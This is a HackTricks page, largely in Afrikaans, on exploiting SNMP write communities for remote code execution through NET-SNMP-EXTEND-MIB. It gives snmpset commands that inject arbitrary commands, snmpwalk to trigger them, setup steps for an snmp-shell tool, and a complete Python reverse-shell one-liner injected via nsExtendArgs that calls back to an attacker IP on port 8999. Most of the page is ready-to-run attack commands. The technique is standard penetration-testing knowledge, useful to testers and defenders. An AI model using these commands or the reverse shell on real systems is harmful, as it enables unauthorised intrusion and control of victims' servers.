SNMP RCE

Ondersteun HackTricks

SNMP RCE

SNMP kan deur 'n aanvaller uitgebuit word as die administrateur sy standaardkonfigurasie op die toestel of bediener oor die hoof sien. Deur SNMP-gemeenskap met skrywe toestemmings (rwcommunity) op 'n Linux-bedryfstelsel te misbruik, kan die aanvaller opdragte op die bediener uitvoer.

Uitbreiding van Dienste met Bykomende Opdragte

Om SNMP-dienste uit te brei en ekstra opdragte by te voeg, is dit moontlik om nuwe rye aan die "nsExtendObjects" tabel toe te voeg. Dit kan bereik word deur die snmpset opdrag te gebruik en die nodige parameters te verskaf, insluitend die absolute pad na die uitvoerbare lêer en die opdrag wat uitgevoer moet word:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Injecting Commands for Execution

Die invoeging van opdragte om op die SNMP-diens uit te voer, vereis die bestaan en uitvoerbaarheid van die aangeroepde binêre/script. Die NET-SNMP-EXTEND-MIB vereis die verskaffing van die absolute pad na die uitvoerbare.

Om die uitvoering van die ingevoegde opdrag te bevestig, kan die snmpwalk opdrag gebruik word om die SNMP-diens te enumerate. Die uitset sal die opdrag en sy geassosieerde besonderhede vertoon, insluitend die absolute pad:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Running the Injected Commands

Wanneer die ingespotte opdrag gelees word, word dit uitgevoer. Hierdie gedrag staan bekend as run-on-read(). Die uitvoering van die opdrag kan waargeneem word tydens die snmpwalk lees.

Gaining Server Shell with SNMP

Om beheer oor die bediener te verkry en 'n bediener shell te verkry, kan 'n python skrip wat deur mxrch ontwikkel is, gebruik word vanaf https://github.com/mxrch/snmp-shell.git.

Alternatiewelik kan 'n omgekeerde shell handmatig geskep word deur 'n spesifieke opdrag in SNMP in te spuit. Hierdie opdrag, wat deur die snmpwalk geaktiveer word, stel 'n omgekeerde shell verbinding met die aanvaller se masjien in, wat beheer oor die slagoffer masjien moontlik maak. You can install the pre-requisite to run this:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Of 'n omgekeerde skulp:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Verwysings

Ondersteun HackTricks

Last updated